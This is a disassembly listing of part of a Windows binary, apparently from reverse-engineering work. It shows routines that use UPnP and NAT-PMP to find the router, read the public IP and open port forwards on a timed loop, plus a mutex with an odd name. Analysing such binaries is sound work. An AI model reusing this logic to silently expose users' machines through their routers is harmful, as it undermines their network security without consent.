; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443F6D	proc near		; CODE XREF: DMN1:00444A41p
					; DMN1:0044629Ap

var_18A0	= dword	ptr -18A0h
var_189C	= byte ptr -189Ch
var_188C	= dword	ptr -188Ch
var_1888	= dword	ptr -1888h
var_1884	= dword	ptr -1884h
var_187E	= byte ptr -187Eh
var_183E	= word ptr -183Eh
var_183C	= dword	ptr -183Ch
var_1838	= dword	ptr -1838h
var_1834	= dword	ptr -1834h
var_1830	= dword	ptr -1830h
var_182C	= dword	ptr -182Ch
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_181C	= word ptr -181Ch
var_181A	= word ptr -181Ah
var_1818	= dword	ptr -1818h
var_1809	= byte ptr -1809h
var_1409	= byte ptr -1409h
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 18A0h
		call	sub_448F2B
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1820],	3E8h
		cmp	[ebp+arg_0], 0
		jnz	short loc_443F96
		mov	ax, [ebp+arg_4]
		mov	[ebp+arg_0], ax


loc_443F96:				; CODE XREF: sub_443F6D+1Fj
		push	10h
		push	0
		lea	eax, [ebp+var_181C]
		push	eax
		call	sub_448DCB
		add	esp, 0Ch
		mov	[ebp+var_181C],	2
		push	offset a239_255_255_25 ; "239.255.255.250"
		call	sub_448503	; inet_addr
		mov	[ebp+var_1818],	eax
		push	76Ch
		call	sub_4484D3	; htons
		mov	[ebp+var_181A],	ax
		mov	[ebp+var_404], 1
		push	11h
		push	2
		push	2
		call	sub_4484B5	; socket
		mov	[ebp+var_408], eax
		and	[ebp+var_1828],	0
		mov	[ebp+var_1824],	1
		push	offset a239_255_255_25 ; "239.255.255.250"
		call	sub_448503	; inet_addr
		mov	[ebp+var_1828],	eax
		push	8
		lea	eax, [ebp+var_1828]
		push	eax
		push	5
		push	0
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_4484BB	; setsockopt
		test	eax, eax
		jge	short loc_444037
		push	offset aShit	; "shit!\n"
		call	sub_448A5B
		pop	ecx


loc_444037:				; CODE XREF: sub_443F6D+BDj
		lea	eax, [ebp+var_181C]
		mov	[ebp+var_182C],	eax
		push	10h
		push	[ebp+var_182C]
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_4484DF	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4444ED
		push	offset aXbind___ ; "xbind...\n"
		call	sub_448A5B
		pop	ecx
		jmp	loc_4444ED
; ---------------------------------------------------------------------------


loc_444070:				; CODE XREF: sub_443F6D+587j
		mov	[ebp+var_1884],	10h
		push	[ebp+var_404]
		push	offset aSendingIupnpDi ; "sending IUPnP	discovery request #%i...\n"...
		call	sub_448A5B
		pop	ecx
		pop	ecx
		push	offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."...
		call	sub_448E4B
		pop	ecx
		push	10h
		lea	edx, [ebp+var_181C]
		push	edx
		push	0
		push	eax
		push	offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."...
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_448521	; sendto
		test	eax, eax
		jge	short loc_4440CB
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_4484C1	; closesocket
		xor	eax, eax
		jmp	loc_444508
; ---------------------------------------------------------------------------


loc_4440CB:				; CODE XREF: sub_443F6D+149j
		push	[ebp+var_404]
		push	offset aSetsockoptIupn ; "setsockopt IUPnP discovery request #%i."...
		call	sub_448A5B
		pop	ecx
		pop	ecx
		push	4
		lea	eax, [ebp+var_1820]
		push	eax
		push	1006h
		push	0FFFFh
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_4484BB	; setsockopt
		test	eax, eax
		jge	short loc_444113
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_4484C1	; closesocket
		xor	eax, eax
		jmp	loc_444508
; ---------------------------------------------------------------------------


loc_444113:				; CODE XREF: sub_443F6D+191j
		push	[ebp+var_404]
		push	offset aReceivingIupnp ; "receiving IUPnP discovery request #%i.."...
		call	sub_448A5B
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1884]
		push	eax
		lea	eax, [ebp+var_189C]
		push	eax
		push	0
		push	1000h
		lea	eax, [ebp+var_1409]
		push	eax
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_448527	; recvfrom
		test	eax, eax
		jge	short loc_44417D
		call	sub_44852D	; WSAGetLastError
		cmp	eax, 274Ch
		jnz	short loc_44416A
		cmp	[ebp+var_404], 3
		jnz	loc_4444E7


loc_44416A:				; CODE XREF: sub_443F6D+1EEj
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_4484C1	; closesocket
		xor	eax, eax
		jmp	loc_444508
; ---------------------------------------------------------------------------


loc_44417D:				; CODE XREF: sub_443F6D+1E2j
		mov	eax, [ebp+var_1884]
		mov	[ebp+eax+var_1409], 0
		push	[ebp+var_404]
		push	offset aIupnpDiscovery ; "IUPnP	discovery request #%i -- checking"...
		call	sub_448A5B
		pop	ecx
		pop	ecx
		push	offset aSchemasUpnpOrg ; "schemas-upnp-org:service:WANIPConnectio"...
		lea	eax, [ebp+var_1409]
		push	eax
		call	sub_44397C
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4441CB
		push	[ebp+var_404]
		push	offset aIupnpDiscove_0 ; "IUPnP	discovery request #%i: bad (0)..."...
		call	sub_448A5B
		pop	ecx
		pop	ecx
		jmp	loc_4444E7
; ---------------------------------------------------------------------------


loc_4441CB:				; CODE XREF: sub_443F6D+245j
		push	offset aLocation ; "location"
		lea	eax, [ebp+var_1409]
		push	eax
		call	sub_44397C
		pop	ecx
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4441FC
		push	[ebp+var_404]
		push	offset aIupnpDiscove_1 ; "IUPnP	discovery request #%i: bad (1)..."...
		call	sub_448A5B
		pop	ecx
		pop	ecx
		jmp	loc_4444E7
; ---------------------------------------------------------------------------


loc_4441FB:				; CODE XREF: sub_443F6D+297j
		inc	ebx


loc_4441FC:				; CODE XREF: sub_443F6D+275j
		mov	al, [ebx]
		test	al, al
		jz	short loc_444206
		cmp	al, 3Ah
		jnz	short loc_4441FB


loc_444206:				; CODE XREF: sub_443F6D+293j
		cmp	byte ptr [ebx],	0
		jz	short loc_44420F
		inc	ebx
		jmp	short loc_44420F
; ---------------------------------------------------------------------------


loc_44420E:				; CODE XREF: sub_443F6D+2AAj
		inc	ebx


loc_44420F:				; CODE XREF: sub_443F6D+29Cj
					; sub_443F6D+29Fj
		mov	al, [ebx]
		test	al, al
		jz	short loc_444219
		cmp	al, 20h
		jz	short loc_44420E


loc_444219:				; CODE XREF: sub_443F6D+2A6j
		lea	eax, [ebp+var_1809]
		mov	[ebp+var_1834],	eax
		jmp	short loc_444238
; ---------------------------------------------------------------------------


loc_444227:				; CODE XREF: sub_443F6D+2D3j
		mov	edx, [ebp+var_1834]
		mov	al, [ebx]
		mov	[edx], al
		inc	[ebp+var_1834]
		inc	ebx


loc_444238:				; CODE XREF: sub_443F6D+2B8j
		mov	al, [ebx]
		test	al, al
		jz	short loc_444242
		cmp	al, 20h
		jg	short loc_444227


loc_444242:				; CODE XREF: sub_443F6D+2CFj
		mov	edx, [ebp+var_1834]
		mov	byte ptr [edx],	0
		lea	eax, [ebp+var_1809]
		push	eax
		call	sub_448E4B
		pop	ecx
		test	eax, eax
		jnz	short loc_444273
		push	[ebp+var_404]
		push	offset aIupnpDiscove_2 ; "IUPnP	discovery request #%i: bad (2)..."...
		call	sub_448A5B
		pop	ecx
		pop	ecx
		jmp	loc_4444E7
; ---------------------------------------------------------------------------


loc_444273:				; CODE XREF: sub_443F6D+2EDj
		mov	[ebp+var_183E],	0
		lea	eax, [ebp+var_1809]
		push	eax
		push	offset aLocationS ; "location: <%s>\n"
		call	sub_448A5B
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_183E]
		push	eax
		lea	eax, [ebp+var_187E]
		push	eax
		lea	eax, [ebp+var_1809]
		push	eax
		call	sub_443A14
		add	esp, 0Ch
		mov	[ebp+var_183C],	eax
		test	eax, eax
		jnz	short loc_4442CD
		push	[ebp+var_404]
		push	offset aIupnpDiscove_3 ; "IUPnP	discovery request #%i: bad (3)..."...
		call	sub_448A5B
		pop	ecx
		pop	ecx
		jmp	loc_4444E7
; ---------------------------------------------------------------------------


loc_4442CD:				; CODE XREF: sub_443F6D+347j
		push	offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANIPConne"...
		push	[ebp+var_183C]
		call	sub_44397C
		pop	ecx
		pop	ecx
		mov	[ebp+var_188C],	eax
		test	eax, eax
		jnz	short loc_4442FA
		push	[ebp+var_183C]
		call	sub_4424E1
		pop	ecx
		jmp	loc_4444E7
; ---------------------------------------------------------------------------


loc_4442FA:				; CODE XREF: sub_443F6D+37Aj
		mov	eax, [ebp+var_183C]
		mov	[ebp+var_1830],	eax


loc_444306:				; CODE XREF: sub_443F6D+3CBj
		push	offset aService_0 ; "<service>"
		push	[ebp+var_1830]
		call	sub_44397C
		pop	ecx
		pop	ecx
		mov	[ebp+var_18A0],	eax
		test	eax, eax
		jz	short loc_44432A
		cmp	eax, [ebp+var_1830]
		jbe	short loc_44432C


loc_44432A:				; CODE XREF: sub_443F6D+3B3j
		jmp	short loc_44433A
; ---------------------------------------------------------------------------


loc_44432C:				; CODE XREF: sub_443F6D+3BBj
		mov	eax, [ebp+var_18A0]
		mov	[ebp+var_1830],	eax
		jmp	short loc_444306
; ---------------------------------------------------------------------------


loc_44433A:				; CODE XREF: sub_443F6D:loc_44432Aj
		push	offset aService	; "</service>"
		push	[ebp+var_1830]
		call	sub_44397C
		pop	ecx
		pop	ecx
		mov	[ebp+var_1888],	eax
		test	eax, eax
		jnz	short loc_444367
		push	[ebp+var_183C]
		call	sub_4424E1
		pop	ecx
		jmp	loc_4444E7
; ---------------------------------------------------------------------------


loc_444367:				; CODE XREF: sub_443F6D+3E7j
		push	offset aControlurl ; "<controlURL>"
		push	[ebp+var_1830]
		call	sub_44397C
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_444387
		cmp	esi, [ebp+var_1888]
		jb	short loc_444398


loc_444387:				; CODE XREF: sub_443F6D+410j
		push	[ebp+var_183C]
		call	sub_4424E1
		pop	ecx
		jmp	loc_4444E7
; ---------------------------------------------------------------------------


loc_444398:				; CODE XREF: sub_443F6D+418j
		push	400h
		push	0
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_448DCB
		add	esp, 0Ch
		jmp	short loc_4443B1
; ---------------------------------------------------------------------------


loc_4443B0:				; CODE XREF: sub_443F6D+44Cj
		inc	esi


loc_4443B1:				; CODE XREF: sub_443F6D+441j
		mov	al, [esi]
		test	al, al
		jz	short loc_4443BB
		cmp	al, 3Eh
		jnz	short loc_4443B0


loc_4443BB:				; CODE XREF: sub_443F6D+448j
		cmp	byte ptr [esi],	0
		jz	short loc_4443C1
		inc	esi


loc_4443C1:				; CODE XREF: sub_443F6D+451j
		cmp	byte ptr [esi],	0
		jnz	short loc_4443D7
		push	[ebp+var_183C]
		call	sub_4424E1
		pop	ecx
		jmp	loc_4444E7
; ---------------------------------------------------------------------------


loc_4443D7:				; CODE XREF: sub_443F6D+457j
		and	[ebp+var_1838],	0
		jmp	short loc_4443F6
; ---------------------------------------------------------------------------


loc_4443E0:				; CODE XREF: sub_443F6D+491j
		mov	eax, [ebp+var_1838]
		mov	dl, [esi]
		mov	[ebp+eax+var_400], dl
		inc	[ebp+var_1838]
		inc	esi


loc_4443F6:				; CODE XREF: sub_443F6D+471j
		mov	al, [esi]
		test	al, al
		jz	short loc_444400
		cmp	al, 3Ch
		jnz	short loc_4443E0


loc_444400:				; CODE XREF: sub_443F6D+48Dj
		mov	eax, [ebp+var_1838]
		mov	[ebp+eax+var_400], 0
		push	offset aHttp	; "http://"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_44397C
		pop	ecx
		pop	ecx
		mov	edi, eax
		test	edi, edi
		jnz	short loc_444430
		lea	edi, [ebp+var_400]
		jmp	short loc_444460
; ---------------------------------------------------------------------------


loc_44442F:				; CODE XREF: sub_443F6D+4CBj
		inc	edi


loc_444430:				; CODE XREF: sub_443F6D+4B8j
		mov	al, [edi]
		test	al, al
		jz	short loc_44443A
		cmp	al, 3Ah
		jnz	short loc_44442F


loc_44443A:				; CODE XREF: sub_443F6D+4C7j
		cmp	byte ptr [edi],	0
		jz	short loc_444443
		inc	edi
		jmp	short loc_444443
; ---------------------------------------------------------------------------


loc_444442:				; CODE XREF: sub_443F6D+4DEj
		inc	edi


loc_444443:				; CODE XREF: sub_443F6D+4D0j
					; sub_443F6D+4D3j
		mov	al, [edi]
		test	al, al
		jz	short loc_44444D
		cmp	al, 2Fh
		jz	short loc_444442


loc_44444D:				; CODE XREF: sub_443F6D+4DAj
		cmp	byte ptr [edi],	0
		jz	short loc_444456
		inc	edi
		jmp	short loc_444456
; ---------------------------------------------------------------------------


loc_444455:				; CODE XREF: sub_443F6D+4F1j
		inc	edi


loc_444456:				; CODE XREF: sub_443F6D+4E3j
					; sub_443F6D+4E6j
		mov	al, [edi]
		test	al, al
		jz	short loc_444460
		cmp	al, 2Fh
		jnz	short loc_444455


loc_444460:				; CODE XREF: sub_443F6D+4C0j
					; sub_443F6D+4EDj
		movzx	eax, [ebp+arg_4]
		push	eax
		movzx	eax, [ebp+arg_0]
		push	eax
		push	edi
		movzx	eax, [ebp+var_183E]
		push	eax
		lea	eax, [ebp+var_187E]
		push	eax
		push	0
		call	sub_443D01
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4444C4
		movzx	eax, [ebp+arg_4]
		push	eax
		movzx	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		movzx	eax, [ebp+var_183E]
		push	eax
		lea	eax, [ebp+var_187E]
		push	eax
		push	1
		call	sub_443D01
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4444C4
		push	[ebp+var_183C]
		call	sub_4424E1
		pop	ecx
		jmp	short loc_4444E7
; ---------------------------------------------------------------------------


loc_4444C4:				; CODE XREF: sub_443F6D+519j
					; sub_443F6D+547j
		push	[ebp+var_404]
		push	offset aIupnpDiscove_4 ; "IUPnP	discovery request #%i: ok.\n"
		call	sub_448A5B
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_4484C1	; closesocket
		xor	eax, eax
		inc	eax
		jmp	short loc_444508
; ---------------------------------------------------------------------------


loc_4444E7:				; CODE XREF: sub_443F6D+1F7j
					; sub_443F6D+259j ...
		inc	[ebp+var_404]


loc_4444ED:				; CODE XREF: sub_443F6D+EDj
					; sub_443F6D+FEj
		cmp	[ebp+var_404], 3
		jl	loc_444070
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_4484C1	; closesocket
		xor	eax, eax


loc_444508:				; CODE XREF: sub_443F6D+159j
					; sub_443F6D+1A1j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_443F6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44450F	proc near		; CODE XREF: sub_44457E+16p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		and	[ebp+var_4], 0
		xor	esi, esi
		push	3Ch
		call	sub_4424B3
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_444578
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_448533	; GetIpForwardTable
		cmp	eax, 7Ah
		jnz	short loc_444553
		push	ebx
		call	sub_4424E1
		pop	ecx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4424B3
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_444578


loc_444553:				; CODE XREF: sub_44450F+2Bj
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_448533	; GetIpForwardTable
		test	eax, eax
		jnz	short loc_44456F
		mov	eax, [ebx]
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	short loc_44456F
		mov	esi, [ebx+10h]


loc_44456F:				; CODE XREF: sub_44450F+52j
					; sub_44450F+5Bj
		push	ebx
		call	sub_4424E1
		pop	ecx
		mov	eax, esi


loc_444578:				; CODE XREF: sub_44450F+1Aj
					; sub_44450F+42j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44450F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44457E	proc near		; CODE XREF: DMN1:004449ECp
					; DMN1:0044623Fp

var_C0		= dword	ptr -0C0h
var_BC		= byte ptr -0BCh
var_B8		= dword	ptr -0B8h
var_AC		= word ptr -0ACh
var_AA		= word ptr -0AAh
var_A8		= dword	ptr -0A8h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= word ptr -94h
var_92		= word ptr -92h
var_90		= dword	ptr -90h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
var_7F		= byte ptr -7Fh
var_78		= byte ptr -78h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_9C], 0FAh
		call	sub_44450F
		mov	[ebp+var_84], eax
		test	eax, eax
		jz	loc_444786
		mov	[ebp+var_94], 2
		mov	eax, [ebp+var_84]
		mov	[ebp+var_90], eax
		push	14E7h
		call	sub_4484D3	; htons
		mov	[ebp+var_92], ax
		mov	eax, [ebp+var_84]
		mov	[ebp+var_98], eax
		push	eax
		call	sub_44851B	; inet_ntoa
		push	eax
		push	offset aDefaultGateway ; "default gateway: [%s]\n"
		call	sub_448A5B
		pop	ecx
		pop	ecx
		xor	ebx, ebx
		inc	ebx
		push	11h
		push	2
		push	2
		call	sub_4484B5	; socket
		mov	esi, eax
		push	10h
		push	0
		lea	eax, [ebp+var_AC]
		push	eax
		call	sub_448DCB
		add	esp, 0Ch
		mov	[ebp+var_AC], 2
		mov	eax, [ebp+var_84]
		mov	[ebp+var_A8], eax
		push	14E7h
		call	sub_4484D3	; htons
		mov	[ebp+var_AA], ax
		lea	edi, [ebp+var_AC]
		push	10h
		push	edi
		push	esi
		call	sub_4484DF	; bind
		jmp	loc_444775
; ---------------------------------------------------------------------------


loc_444649:				; CODE XREF: sub_44457E+1FAj
		mov	[ebp+var_C0], 10h
		push	ebx
		push	offset aSendingNatPmpR ; "sending NAT-PMP request #%i...\n"
		call	sub_448A5B
		pop	ecx
		pop	ecx
		mov	[ebp+var_80], 0
		mov	[ebp+var_7F], 0
		push	10h
		lea	eax, [ebp+var_94]
		push	eax
		push	0
		push	2
		lea	eax, [ebp+var_80]
		push	eax
		push	esi
		call	sub_448521	; sendto
		test	eax, eax
		jge	short loc_444690
		push	esi
		call	sub_4484C1	; closesocket
		xor	eax, eax
		jmp	loc_444786
; ---------------------------------------------------------------------------


loc_444690:				; CODE XREF: sub_44457E+103j
		push	ebx
		push	offset aSetsockoptNatP ; "setsockopt NAT-PMP request #%i...\n"
		call	sub_448A5B
		pop	ecx
		pop	ecx
		push	4
		lea	eax, [ebp+var_9C]
		push	eax
		push	1006h
		push	0FFFFh
		push	esi
		call	sub_4484BB	; setsockopt
		test	eax, eax
		jge	short loc_4446C7
		push	esi
		call	sub_4484C1	; closesocket
		xor	eax, eax
		jmp	loc_444786
; ---------------------------------------------------------------------------


loc_4446C7:				; CODE XREF: sub_44457E+13Aj
		push	ebx
		push	offset aReceivingNatPm ; "receiving NAT-PMP request #%i...\n"
		call	sub_448A5B
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_BC]
		push	eax
		push	0
		push	0Ch
		lea	eax, [ebp+var_80]
		push	eax
		push	esi
		call	sub_448527	; recvfrom
		test	eax, eax
		jge	short loc_44470F
		call	sub_44852D	; WSAGetLastError
		cmp	eax, 274Ch
		jnz	short loc_444705
		cmp	ebx, 9
		jnz	short loc_44476E


loc_444705:				; CODE XREF: sub_44457E+180j
		push	esi
		call	sub_4484C1	; closesocket
		xor	eax, eax
		jmp	short loc_444786
; ---------------------------------------------------------------------------


loc_44470F:				; CODE XREF: sub_44457E+174j
		push	ebx
		push	offset aNatPmpRequestI ; "NAT-PMP request #%i -	ok\n"
		call	sub_448A5B
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_90]
		cmp	[ebp+var_B8], eax
		jnz	short loc_44476E
		push	4
		lea	eax, [ebp+var_78]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_448E2B
		add	esp, 0Ch
		mov	eax, [ebp+var_84]
		mov	[ebp+var_98], eax
		push	eax
		call	sub_44851B	; inet_ntoa
		push	eax
		push	ebx
		push	offset aNatPmpReques_0 ; "NAT-PMP request #%i -	public IP: [%s]\n"
		call	sub_448A5B
		add	esp, 0Ch
		push	esi
		call	sub_4484C1	; closesocket
		mov	eax, [ebp+var_84]
		jmp	short loc_444786
; ---------------------------------------------------------------------------


loc_44476E:				; CODE XREF: sub_44457E+185j
					; sub_44457E+1AAj
		inc	ebx
		shl	[ebp+var_9C], 1


loc_444775:				; CODE XREF: sub_44457E+C6j
		cmp	ebx, 0Ah
		jl	loc_444649
		push	esi
		call	sub_4484C1	; closesocket
		xor	eax, eax


loc_444786:				; CODE XREF: sub_44457E+23j
					; sub_44457E+10Dj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44457E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44478D	proc near		; CODE XREF: DMN1:00444A08p
					; DMN1:0044625Ap

var_C0		= dword	ptr -0C0h
var_BC		= byte ptr -0BCh
var_B8		= dword	ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= word ptr -0A4h
var_A2		= word ptr -0A2h
var_A0		= dword	ptr -0A0h
var_94		= dword	ptr -94h
var_90		= word ptr -90h
var_8E		= word ptr -8Eh
var_8C		= dword	ptr -8Ch
var_80		= byte ptr -80h
var_7F		= byte ptr -7Fh
var_7E		= byte ptr -7Eh
var_7D		= byte ptr -7Dh
var_7C		= byte ptr -7Ch
var_7A		= byte ptr -7Ah
var_78		= byte ptr -78h
var_76		= byte ptr -76h
var_75		= byte ptr -75h
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_94], 0FAh
		mov	[ebp+var_90], 2
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8C], eax
		push	14E7h
		call	sub_4484D3	; htons
		mov	[ebp+var_8E], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_A8], eax
		push	eax
		call	sub_44851B	; inet_ntoa
		push	eax
		push	offset aRouterIpS ; "router ip:	[%s]\n"
		call	sub_448A5B
		pop	ecx
		pop	ecx
		xor	esi, esi
		inc	esi
		push	11h
		push	2
		push	2
		call	sub_4484B5	; socket
		mov	edi, eax
		push	10h
		push	0
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_448DCB
		add	esp, 0Ch
		mov	[ebp+var_A4], 2
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_A0], eax
		push	14E7h
		call	sub_4484D3	; htons
		mov	[ebp+var_A2], ax
		lea	eax, [ebp+var_A4]
		mov	[ebp+var_AC], eax
		push	10h
		push	[ebp+var_AC]
		push	edi
		call	sub_4484DF	; bind
		jmp	loc_4449BD
; ---------------------------------------------------------------------------


loc_444847:				; CODE XREF: sub_44478D+233j
		mov	[ebp+var_C0], 10h
		push	esi
		push	offset aSendingNatPmpF ; "sending NAT-PMP fwd request #%i...\n"
		call	sub_448A5B
		pop	ecx
		pop	ecx
		mov	[ebp+var_80], 0
		mov	[ebp+var_7F], 2
		mov	[ebp+var_7E], 0
		mov	[ebp+var_7D], 0
		lea	ebx, [ebp+var_7C]
		movzx	eax, [ebp+arg_4]
		push	eax
		call	sub_4484D3	; htons
		mov	[ebx], ax
		lea	ebx, [ebp+var_7A]
		movzx	eax, [ebp+arg_8]
		push	eax
		call	sub_4484D3	; htons
		mov	[ebx], ax
		lea	ebx, [ebp+var_78]
		mov	word ptr [ebx],	0E10h
		mov	[ebp+var_76], 0
		mov	[ebp+var_75], 0
		push	10h
		lea	eax, [ebp+var_90]
		push	eax
		push	0
		push	0Ch
		lea	eax, [ebp+var_80]
		push	eax
		push	edi
		call	sub_448521	; sendto
		test	eax, eax
		jge	short loc_4448C6
		push	edi
		call	sub_4484C1	; closesocket
		xor	eax, eax
		jmp	loc_4449CE
; ---------------------------------------------------------------------------


loc_4448C6:				; CODE XREF: sub_44478D+12Aj
		push	esi
		push	offset aSetsockoptNa_0 ; "setsockopt NAT-PMP fwd request #%i...\n"
		call	sub_448A5B
		pop	ecx
		pop	ecx
		push	4
		lea	eax, [ebp+var_94]
		push	eax
		push	1006h
		push	0FFFFh
		push	edi
		call	sub_4484BB	; setsockopt
		test	eax, eax
		jge	short loc_4448FD
		push	edi
		call	sub_4484C1	; closesocket
		xor	eax, eax
		jmp	loc_4449CE
; ---------------------------------------------------------------------------


loc_4448FD:				; CODE XREF: sub_44478D+161j
		push	esi
		push	offset aReceivingNat_0 ; "receiving NAT-PMP fwd	request	#%i...\n"
		call	sub_448A5B
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_BC]
		push	eax
		push	0
		push	10h
		lea	eax, [ebp+var_80]
		push	eax
		push	edi
		call	sub_448527	; recvfrom
		test	eax, eax
		jge	short loc_444948
		call	sub_44852D	; WSAGetLastError
		cmp	eax, 274Ch
		jnz	short loc_44493B
		cmp	esi, 9
		jnz	short loc_4449B6


loc_44493B:				; CODE XREF: sub_44478D+1A7j
		push	edi
		call	sub_4484C1	; closesocket
		xor	eax, eax
		jmp	loc_4449CE
; ---------------------------------------------------------------------------


loc_444948:				; CODE XREF: sub_44478D+19Bj
		push	esi
		push	offset aNatPmpFwdReque ; "NAT-PMP fwd request #%i - ok\n"
		call	sub_448A5B
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8C]
		cmp	[ebp+var_B8], eax
		jnz	short loc_4449B6
		cmp	[ebp+var_7F], 82h
		jnz	short loc_4449B6
		lea	ebx, [ebp+var_7E]
		cmp	word ptr [ebx],	0
		jnz	short loc_4449B6
		lea	ebx, [ebp+var_78]
		movzx	eax, [ebp+arg_4]
		push	eax
		call	sub_4484D3	; htons
		cmp	[ebx], ax
		jnz	short loc_4449B6
		lea	ebx, [ebp+var_76]
		movzx	eax, word ptr [ebx]
		push	eax
		call	sub_4484F1	; htons
		movzx	eax, ax
		push	eax
		push	esi
		push	offset aNatPmpReques_1 ; "NAT-PMP request #%i -	port: [%i]\n"
		call	sub_448A5B
		add	esp, 0Ch
		push	edi
		call	sub_4484C1	; closesocket
		movzx	eax, word ptr [ebx]
		push	eax
		call	sub_4484D3	; htons
		movzx	eax, ax
		jmp	short loc_4449CE
; ---------------------------------------------------------------------------


loc_4449B6:				; CODE XREF: sub_44478D+1ACj
					; sub_44478D+1D4j ...
		inc	esi
		shl	[ebp+var_94], 1


loc_4449BD:				; CODE XREF: sub_44478D+B5j
		cmp	esi, 0Ah
		jl	loc_444847
		push	edi
		call	sub_4484C1	; closesocket
		xor	eax, eax


loc_4449CE:				; CODE XREF: sub_44478D+134j
					; sub_44478D+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44478D	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi


loc_4449D8:				; CODE XREF: DMN1:loc_444A66j
		xor	ebx, ebx
		inc	ebx


loc_4449DB:				; CODE XREF: DMN1:004449EAj
		push	0EA60h
		call	dword_411D04	; Sleep
		inc	ebx
		cmp	ebx, 3Fh
		jl	short loc_4449DB
		call	sub_44457E
		mov	edi, eax
		mov	eax, dword_411010
		mov	si, ax
		movzx	eax, si
		push	eax
		movzx	eax, word ptr dword_41100C
		push	eax
		push	edi
		call	sub_44478D
		add	esp, 0Ch
		mov	si, ax
		test	si, si
		jz	short loc_444A38
		movzx	eax, si
		cmp	eax, dword_411010
		jz	short loc_444A38
		movzx	eax, si
		mov	dword_411010, eax
		push	1
		push	offset dword_411024
		call	dword_411D08	; InterlockedExchange


loc_444A38:				; CODE XREF: DMN1:00444A16j
					; DMN1:00444A21j
		movzx	eax, word ptr dword_41100C
		push	eax
		push	eax
		call	sub_443F6D
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_444A66
		mov	eax, dword_41100C
		cmp	dword_411010, eax
		jz	short loc_444A66
		push	1
		push	offset dword_411024
		call	dword_411D08	; InterlockedExchange


loc_444A66:				; CODE XREF: DMN1:00444A4Aj
					; DMN1:00444A57j
		jmp	loc_4449D8
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_444A6F	proc near		; CODE XREF: sub_447EEC+77p
		push	ebx
		cmp	dword_411018, 0
		jz	short loc_444A7D
		xor	eax, eax
		jmp	short loc_444AC1
; ---------------------------------------------------------------------------


loc_444A7D:				; CODE XREF: sub_444A6F+8j
		xor	ebx, ebx
		push	offset a__win32__nmsl_ ; "__win32__nmsl_sdm__"
		push	0
		push	0
		call	dword_411D0C	; CreateMutexA
